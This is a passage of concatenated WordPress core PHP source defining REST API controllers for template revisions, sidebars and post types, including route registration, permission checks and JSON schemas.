					'type'        => 'string',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'instance'      => array(
					'description' => __( 'Instance settings of the widget, if supported.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'default'     => null,
					'properties'  => array(
						'encoded' => array(
							'description' => __( 'Base64 encoded representation of the instance settings.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'hash'    => array(
							'description' => __( 'Cryptographic hash of the instance settings.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'raw'     => array(
							'description' => __( 'Unencoded instance settings, if supported.' ),
							'type'        => 'object',
							'context'     => array( 'edit' ),
						),
					),
				),
				'form_data'     => array(
					'description' => __( 'URL-encoded form data from the widget admin form. Used to update a widget that does not support instance. Write only.' ),
					'type'        => 'string',
					'context'     => array(),
					'arg_options' => array(
						'sanitize_callback' => static function ( $form_data ) {
							$array = array();
							wp_parse_str( $form_data, $array );
							return $array;
						},
					),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Template_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.4.0
 */

/**
 * Core class used to access template revisions via the REST API.
 *
 * @since 6.4.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Template_Revisions_Controller extends WP_REST_Revisions_Controller {
	/**
	 * Parent post type.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		parent::__construct( $parent_post_type );
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Templates_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for revisions based on post types supporting revisions.
	 *
	 * @since 6.4.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base,
				'(?P<id>[\d]+)'
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as revisions do not support trashing.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Gets the parent post, if the ID is valid.
	 *
	 * @since 6.4.0
	 *
	 * @param int $parent_post_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_post_id ) {
		$template = get_block_template( $parent_post_id, $this->parent_post_type );

		if ( ! $template ) {
			return new WP_Error(
				'rest_post_invalid_parent',
				__( 'Invalid template parent ID.' ),
				array( 'status' => 404 )
			);
		}

		return get_post( $template->wp_id );
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$template = _build_block_template_result_from_post( $item );
		$response = $this->parent_controller->prepare_item_for_response( $template, $request );

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->post_parent;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to delete a revision.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this revision.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Block_Template $template Template.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $template ) {
		$links = array(
			'self'   => array(
				'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ),
			),
			'parent' => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 6.4.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = $this->parent_controller->get_item_schema();

		$schema['properties']['parent'] = array(
			'description' => __( 'The ID for the parent of the revision.' ),
			'type'        => 'integer',
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Sidebars_Controller class
 *
 * Original code from {@link https://github.com/martin-pettersson/wp-rest-api-sidebars Martin Pettersson (martin_pettersson@outlook.com)}.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class used to manage a site's sidebars.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Sidebars_Controller extends WP_REST_Controller {

	/**
	 * Tracks whether {@see retrieve_widgets()} has been called in the current request.
	 *
	 * @since 5.9.0
	 * @var bool
	 */
	protected $widgets_retrieved = false;

	/**
	 * Sidebars controller constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'sidebars';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'id'      => array(
							'description' => __( 'The id of a registered sidebar' ),
							'type'        => 'string',
						),
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get sidebars.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$this->retrieve_widgets();
		foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
			$sidebar = $this->get_sidebar( $id );

			if ( ! $sidebar ) {
				continue;
			}

			if ( $this->check_read_permission( $sidebar ) ) {
				return true;
			}
		}

		return $this->do_permissions_check();
	}

	/**
	 * Retrieves the list of sidebars (active or inactive).
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success.
	 */
	public function get_items( $request ) {
		$this->retrieve_widgets();

		$data              = array();
		$permissions_check = $this->do_permissions_check();

		foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
			$sidebar = $this->get_sidebar( $id );

			if ( ! $sidebar ) {
				continue;
			}

			if ( is_wp_error( $permissions_check ) && ! $this->check_read_permission( $sidebar ) ) {
				continue;
			}

			$data[] = $this->prepare_response_for_collection(
				$this->prepare_item_for_response( $sidebar, $request )
			);
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to get a single sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$this->retrieve_widgets();

		$sidebar = $this->get_sidebar( $request['id'] );
		if ( $sidebar && $this->check_read_permission( $sidebar ) ) {
			return true;
		}

		return $this->do_permissions_check();
	}

	/**
	 * Checks if a sidebar can be read publicly.
	 *
	 * @since 5.9.0
	 *
	 * @param array $sidebar The registered sidebar configuration.
	 * @return bool Whether the side can be read.
	 */
	protected function check_read_permission( $sidebar ) {
		return ! empty( $sidebar['show_in_rest'] );
	}

	/**
	 * Retrieves one sidebar from the collection.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$this->retrieve_widgets();

		$sidebar = $this->get_sidebar( $request['id'] );
		if ( ! $sidebar ) {
			return new WP_Error( 'rest_sidebar_not_found', __( 'No sidebar exists with that id.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $sidebar, $request );
	}

	/**
	 * Checks if a given request has access to update sidebars.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->do_permissions_check();
	}

	/**
	 * Updates a sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( isset( $request['widgets'] ) ) {
			$sidebars = wp_get_sidebars_widgets();

			foreach ( $sidebars as $sidebar_id => $widgets ) {
				foreach ( $widgets as $i => $widget_id ) {
					// This automatically removes the passed widget IDs from any other sidebars in use.
					if ( $sidebar_id !== $request['id'] && in_array( $widget_id, $request['widgets'], true ) ) {
						unset( $sidebars[ $sidebar_id ][ $i ] );
					}

					// This automatically removes omitted widget IDs to the inactive sidebar.
					if ( $sidebar_id === $request['id'] && ! in_array( $widget_id, $request['widgets'], true ) ) {
						$sidebars['wp_inactive_widgets'][] = $widget_id;
					}
				}
			}

			$sidebars[ $request['id'] ] = $request['widgets'];

			wp_set_sidebars_widgets( $sidebars );
		}

		$request['context'] = 'edit';

		$sidebar = $this->get_sidebar( $request['id'] );

		/**
		 * Fires after a sidebar is updated via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param array           $sidebar The updated sidebar.
		 * @param WP_REST_Request $request Request object.
		 */
		do_action( 'rest_save_sidebar', $sidebar, $request );

		return $this->prepare_item_for_response( $sidebar, $request );
	}

	/**
	 * Checks if the user has permissions to make the request.
	 *
	 * @since 5.8.0
	 *
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	protected function do_permissions_check() {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to access the widgets screen.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves the registered sidebar with the given id.
	 *
	 * @since 5.8.0
	 *
	 * @param string|int $id ID of the sidebar.
	 * @return array|null The discovered sidebar, or null if it is not registered.
	 */
	protected function get_sidebar( $id ) {
		return wp_get_sidebar( $id );
	}

	/**
	 * Looks for "lost" widgets once per request.
	 *
	 * @since 5.9.0
	 *
	 * @see retrieve_widgets()
	 */
	protected function retrieve_widgets() {
		if ( ! $this->widgets_retrieved ) {
			retrieve_widgets();
			$this->widgets_retrieved = true;
		}
	}

	/**
	 * Prepares a single sidebar output for response.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$raw_sidebar` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global array $wp_registered_sidebars The registered sidebars.
	 * @global array $wp_registered_widgets  The registered widgets.
	 *
	 * @param array           $item    Sidebar instance.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Prepared response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		global $wp_registered_sidebars, $wp_registered_widgets;

		// Restores the more descriptive, specific name for use within this method.
		$raw_sidebar = $item;

		$id      = $raw_sidebar['id'];
		$sidebar = array( 'id' => $id );

		if ( isset( $wp_registered_sidebars[ $id ] ) ) {
			$registered_sidebar = $wp_registered_sidebars[ $id ];

			$sidebar['status']        = 'active';
			$sidebar['name']          = isset( $registered_sidebar['name'] ) ? $registered_sidebar['name'] : '';
			$sidebar['description']   = isset( $registered_sidebar['description'] ) ? wp_sidebar_description( $id ) : '';
			$sidebar['class']         = isset( $registered_sidebar['class'] ) ? $registered_sidebar['class'] : '';
			$sidebar['before_widget'] = isset( $registered_sidebar['before_widget'] ) ? $registered_sidebar['before_widget'] : '';
			$sidebar['after_widget']  = isset( $registered_sidebar['after_widget'] ) ? $registered_sidebar['after_widget'] : '';
			$sidebar['before_title']  = isset( $registered_sidebar['before_title'] ) ? $registered_sidebar['before_title'] : '';
			$sidebar['after_title']   = isset( $registered_sidebar['after_title'] ) ? $registered_sidebar['after_title'] : '';
		} else {
			$sidebar['status']      = 'inactive';
			$sidebar['name']        = $raw_sidebar['name'];
			$sidebar['description'] = '';
			$sidebar['class']       = '';
		}

		if ( wp_is_block_theme() ) {
			$sidebar['status'] = 'inactive';
		}

		$fields = $this->get_fields_for_response( $request );
		if ( rest_is_field_included( 'widgets', $fields ) ) {
			$sidebars = wp_get_sidebars_widgets();
			$widgets  = array_filter(
				isset( $sidebars[ $sidebar['id'] ] ) ? $sidebars[ $sidebar['id'] ] : array(),
				static function ( $widget_id ) use ( $wp_registered_widgets ) {
					return isset( $wp_registered_widgets[ $widget_id ] );
				}
			);

			$sidebar['widgets'] = array_values( $widgets );
		}

		$schema = $this->get_item_schema();
		$data   = array();
		foreach ( $schema['properties'] as $property_id => $property ) {
			if ( isset( $sidebar[ $property_id ] ) && true === rest_validate_value_from_schema( $sidebar[ $property_id ], $property ) ) {
				$data[ $property_id ] = $sidebar[ $property_id ];
			} elseif ( isset( $property['default'] ) ) {
				$data[ $property_id ] = $property['default'];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $sidebar ) );
		}

		/**
		 * Filters the REST API response for a sidebar.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param array            $raw_sidebar The raw sidebar data.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_sidebar', $response, $raw_sidebar, $request );
	}

	/**
	 * Prepares links for the sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param array $sidebar Sidebar.
	 * @return array Links for the given widget.
	 */
	protected function prepare_links( $sidebar ) {
		return array(
			'collection'               => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'                     => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $sidebar['id'] ) ),
			),
			'https://api.w.org/widget' => array(
				'href'       => add_query_arg( 'sidebar', $sidebar['id'], rest_url( '/wp/v2/widgets' ) ),
				'embeddable' => true,
			),
		);
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'sidebar',
			'type'       => 'object',
			'properties' => array(
				'id'            => array(
					'description' => __( 'ID of sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'          => array(
					'description' => __( 'Unique name identifying the sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description'   => array(
					'description' => __( 'Description of sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'class'         => array(
					'description' => __( 'Extra CSS class to assign to the sidebar in the Widgets interface.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'before_widget' => array(
					'description' => __( 'HTML content to prepend to each widget\'s HTML output when assigned to this sidebar. Default is an opening list item element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'after_widget'  => array(
					'description' => __( 'HTML content to append to each widget\'s HTML output when assigned to this sidebar. Default is a closing list item element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'before_title'  => array(
					'description' => __( 'HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'after_title'   => array(
					'description' => __( 'HTML content to append to the sidebar title when displayed. Default is a closing h2 element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'status'        => array(
					'description' => __( 'Status of sidebar.' ),
					'type'        => 'string',
					'enum'        => array( 'active', 'inactive' ),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'widgets'       => array(
					'description' => __( 'Nested widgets.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => array( 'object', 'string' ),
					),
					'default'     => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Post_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access post types via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Types_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'types';
	}

	/**
	 * Registers the routes for post types.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<type>[\w-]+)',
			array(
				'args'   => array(
					'type' => array(
						'description' => __( 'An alphanumeric identifier for the post type.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => '__return_true',
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read types.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all public post types.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data  = array();
		$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

		foreach ( $types as $type ) {
			if ( 'edit' === $request['context'] && ! current_user_can( $type->cap->edit_posts ) ) {
				continue;
			}

			$post_type           = $this->prepare_item_for_response( $type, $request );
			$data[ $type->name ] = $this->prepare_response_for_collection( $post_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves a specific post type.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_type_object( $request['type'] );

		if ( empty( $obj ) ) {
			return new WP_Error(
				'rest_type_invalid',
				__( 'Invalid post type.' ),
				array( 'status' => 404 )
			);
		}

		if ( empty( $obj->show_in_rest ) ) {
			return new WP_Error(
				'rest_cannot_read_type',
				__( 'Cannot view post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post type object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post_type` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post_Type    $item    Post type object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post_type = $item;

		$taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) );
		$taxonomies = wp_list_pluck( $taxonomies, 'name' );
		$base       = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;
		$namespace  = ! empty( $post_type->rest_namespace ) ? $post_type->rest_namespace : 'wp/v2';
		$supports   = get_all_post_type_supports( $post_type->name );

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'capabilities', $fields ) ) {
			$data['capabilities'] = $post_type->cap;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $post_type->description;
		}

		if ( rest_is_field_included( 'hierarchical', $fields ) ) {
			$data['hierarchical'] = $post_type->hierarchical;
		}

		if ( rest_is_field_included( 'has_archive', $fields ) ) {
			$data['has_archive'] = $post_type->has_archive;
		}

		if ( rest_is_field_included( 'visibility', $fields ) ) {
			$data['visibility'] = array(
				'show_in_nav_menus' => (bool) $post_type->show_in_nav_menus,
				'show_ui'           => (bool) $post_type->show_ui,
			);
		}

		if ( rest_is_field_included( 'viewable', $fields ) ) {
			$data['viewable'] = is_post_type_viewable( $post_type );
		}

		if ( rest_is_field_included( 'labels', $fields ) ) {
			$data['labels'] = $post_type->labels;
		}

		if ( rest_is_field_included( 'name', $fields ) ) {
			$data['name'] = $post_type->label;
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $post_type->name;
		}

		if ( rest_is_field_included( 'icon', $fields ) ) {
			$data['icon'] = $post_type->menu_icon;
		}

		if ( rest_is_field_included( 'supports', $fields ) ) {
			$data['supports'] = $supports;
		}

		if ( rest_is_field_included( 'taxonomies', $fields ) ) {
			$data['taxonomies'] = array_values( $taxonomies );
		}

		if ( rest_is_field_included( 'rest_base', $fields ) ) {
			$data['rest_base'] = $base;
		}

		if ( rest_is_field_included( 'rest_namespace', $fields ) ) {
			$data['rest_namespace'] = $namespace;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $post_type ) );
		}

		/**
		 * Filters a post type returned from the REST API.
		 *
		 * Allows modification of the post type data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response  The response object.
		 * @param WP_Post_Type     $post_type The original post type object.
		 * @param WP_REST_Request  $request   Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Post_Type $post_type The post type.
	 * @return array Links for the given post type.
	 */
	protected function prepare_links( $post_type ) {
		return array(
			'collection'              => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $post_type->name ) ),
			),
		);
	}

	/**
	 * Retrieves the post type's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 * @since 4.8.0 The `supports` property was added.
	 * @since 5.9.0 The `visibility` and `rest_namespace` properties were added.
	 * @since 6.1.0 The `icon` property was added.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'type',
			'type'       => 'object',
			'properties' => array(
				'capabilities'   => array(
					'description' => __( 'All capabilities used by the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'description'    => array(
					'description' => __( 'A human-readable description of the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'hierarchical'   => array(
					'description' => __( 'Whether or not the post type should have children.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'viewable'       => array(
					'description' => __( 'Whether or not the post type can be viewed.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'labels'         => array(
					'description' => __( 'Human-readable labels for the post type for various contexts.' ),
					'type'        => 'object',
